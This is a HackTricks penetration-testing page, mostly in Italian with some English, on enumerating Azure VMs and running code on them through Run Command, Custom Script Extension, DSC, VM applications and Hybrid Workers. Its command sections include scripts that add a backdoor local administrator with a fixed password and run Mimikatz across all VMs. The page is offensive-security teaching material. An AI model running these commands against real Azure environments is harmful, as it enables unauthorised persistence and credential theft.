Az - Virtual Machines & Network

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

Dalla documentazione: Le macchine virtuali di Azure sono uno dei vari tipi di risorse di calcolo scalabili su richiesta offerte da Azure. Di solito, si sceglie una macchina virtuale quando si ha bisogno di un maggiore controllo sull'ambiente di calcolo rispetto alle altre opzioni offerte. Questo articolo fornisce informazioni su cosa si dovrebbe considerare prima di creare una macchina virtuale, come crearla e come gestirla.

Informazioni sulla rete di Azure

Le reti di Azure contengono entità diverse e modi per configurarle. Puoi trovare una breve descrizione, esempi e comandi di enumerazione delle diverse entità di rete di Azure in:

pageAz - Azure Network

Azure Bastion

Azure Bastion offre una soluzione di accesso sicura e completamente gestita tramite SSL per RDP (Remote Desktop Protocol) e SSH (Secure Shell) tramite il portale di Azure. È integrato all'interno di una rete virtuale di Azure, consentendo la connettività RDP e SSH alle VM utilizzando indirizzi IP privati, evitando la necessità di indirizzi IP pubblici. Questo lo rende un'alternativa più sicura e conveniente rispetto ai metodi tradizionali che coinvolgono l'assegnazione di indirizzi IP pubblici e la configurazione delle regole NSG per l'accesso alle VM. Sviluppatori e personale IT possono accedere in modo sicuro alle VM dal portale di Azure utilizzando i loro browser web, semplificando il processo per gli ambienti di sviluppo e test.

Per elencare tutti gli host Azure Bastion nella tua sottoscrizione, puoi utilizzare il seguente comando:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Enumerazione delle VM

When conducting a penetration test on Azure, it is important to enumerate the virtual machines (VMs) present in the environment. This allows for a better understanding of the target system and potential attack vectors.

Azure CLI

The Azure CLI provides a command-line interface for interacting with Azure resources. To enumerate VMs using Azure CLI, the following command can be used:

az vm list

This command will list all the VMs in the current subscription. Additional filters can be applied to narrow down the results, such as specifying a resource group or using the --query parameter to filter based on specific criteria.

Azure PowerShell

Azure PowerShell is another tool that can be used to interact with Azure resources. To enumerate VMs using Azure PowerShell, the following command can be used:

Get-AzVM

This command will retrieve information about all the VMs in the current subscription. Similar to Azure CLI, additional filters can be applied to narrow down the results.

Azure Portal

The Azure Portal provides a graphical user interface for managing Azure resources. To enumerate VMs using the Azure Portal, follow these steps:

  1. Navigate to the Azure Portal (https://portal.azure.com) and sign in to your account.

  2. In the left-hand menu, click on "Virtual machines" to view the list of VMs in the current subscription.

  3. Use the search bar or filters to find specific VMs based on criteria such as name, resource group, or location.

Summary

Enumerating VMs is an important step in the penetration testing process. By using tools like Azure CLI, Azure PowerShell, or the Azure Portal, you can gather information about the VMs present in an Azure environment and identify potential targets for further analysis and exploitation.

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Esegui comandi in una VM

Accesso AAD nella VM

È possibile consentire l'accesso agli utenti autenticati tramite AzureAD. Ad esempio, provando ad accedere a una VM Linux: ssh username@azure-corp.com@1.1.1.1 (è importante utilizzare l'email con azurecorp utilizzato durante il tentativo di accesso) potresti ottenere un errore come:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Basta seguire queste istruzioni andando su https://microsoft.com/devicelogin e inserendo il codice, utilizzare l'email e la password come credenziali e sarai in grado di connetterti tramite SSH (se l'utente ha le autorizzazioni necessarie: ruolo Virtual Machine Administrator Login o Virtual Machine User Login).

Esegui Comando

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Esegui l'estensione di script personalizzato

Le estensioni delle macchine virtuali (VM) di Azure sono piccole applicazioni che forniscono configurazioni post-deployment e compiti di automazione su VM di Azure. Ad esempio, se una macchina virtuale richiede l'installazione di software, la protezione antivirus o la possibilità di eseguire uno script al suo interno, è possibile utilizzare un'estensione VM.

Pertanto, se hai accesso per scriverlo, puoi eseguire codice arbitrario:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) è uno strumento PowerShell simile ad Ansible, utilizzato per configurare un host tramite codice. DSC si integra con Azure, consentendo il caricamento di file di configurazione specifici. Questi file devono seguire una sintassi rigorosa. In particolare, l'estensione DSC in Azure può eseguire comandi da file che soddisfano determinati criteri di formattazione, anche se la sintassi non è corretta secondo gli standard DSC, come mostrato nella figura fornita.

L'esecuzione di questi comandi è facilitata dalla funzione Publish-AzVMDscConfiguration in Az PowerShell. I requisiti includono un file .PS1 con una funzione definita e il file deve essere compresso in un file .zip. Anche se la sintassi potrebbe non essere accurata per DSC, il codice verrà comunque eseguito. Tuttavia, l'estensione segnerà lo stato di esecuzione come "failure" e nessun output del comando sarà visibile a causa dell'overwrite dello stato da parte del messaggio di errore.

Definizioni delle applicazioni VM

Le definizioni delle applicazioni VM consentono il deployment ripetibile di applicazioni versionate su una VM di Azure. Questa risorsa supporta il deployment e l'aggiornamento di applicazioni su VM. Per configurare questo, sono necessari diversi passaggi, che coinvolgono comandi come New-AzGalleryApplication e New-AzGalleryApplicationVersion in Az PowerShell.

L'esecuzione di applicazioni o comandi tramite questo metodo coinvolge il "VMAppExtension", che viene installato automaticamente quando un'applicazione viene applicata a una VM. L'estensione recupera il file dall'URI specificato e lo rinomina esattamente come l'applicazione, senza estensione. Per eseguire correttamente il file, il campo "ManageActions" nella chiamata API REST deve essere configurato per rinominare il file con l'estensione appropriata. Una volta completata la configurazione di questo metodo, la struttura assumerà la forma mostrata nella figura fornita.

Tuttavia, questo metodo di esecuzione è relativamente lento, impiegando circa 3-4 minuti per eseguire un'applicazione o un comando. I file relativi a questo processo sono archiviati in directory specifiche (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ per la copia dell'applicazione e C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ per lo stato di esecuzione).

Entrambe le tecniche offrono modi unici per eseguire comandi e distribuire applicazioni in ambienti Azure, ognuna con i propri requisiti, passaggi e considerazioni.

Gruppi di Hybrid Worker (HWGs) in Azure

Gruppi di Hybrid Worker (HWGs) sono una funzionalità in Azure che consente l'esecuzione di Runbook, configurati in un Automation Account, su una Virtual Machine (VM) di Azure che fa parte dell'HWG designato. Questa esecuzione è facilitata da un'estensione installata sulla VM, che distribuisce il codice del Runbook sulla VM. Un aspetto significativo di questo processo è che le credenziali effettive non sono un fattore nell'esecuzione perché il codice viene eseguito con privilegi elevati, specificamente come SYSTEM o root, come illustrato nella figura fornita.

Un dettaglio cruciale per coloro che utilizzano VM Windows 10 è la necessità di specificare la versione di PowerShell per il Runbook. Dovrebbe essere impostato per eseguire come PowerShell Versione 5.1 invece di 7.1. Questo requisito deriva dal fatto che PowerShell 7.1 non è installato di default su queste VM, portando a un fallimento nell'esecuzione dello script se viene specificata la versione 7.1.

Questa funzionalità di Azure offre un metodo robusto per automatizzare e gestire attività in ambienti ibridi, consentendo la gestione e l'esecuzione centralizzate delle attività su VM di Azure.

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated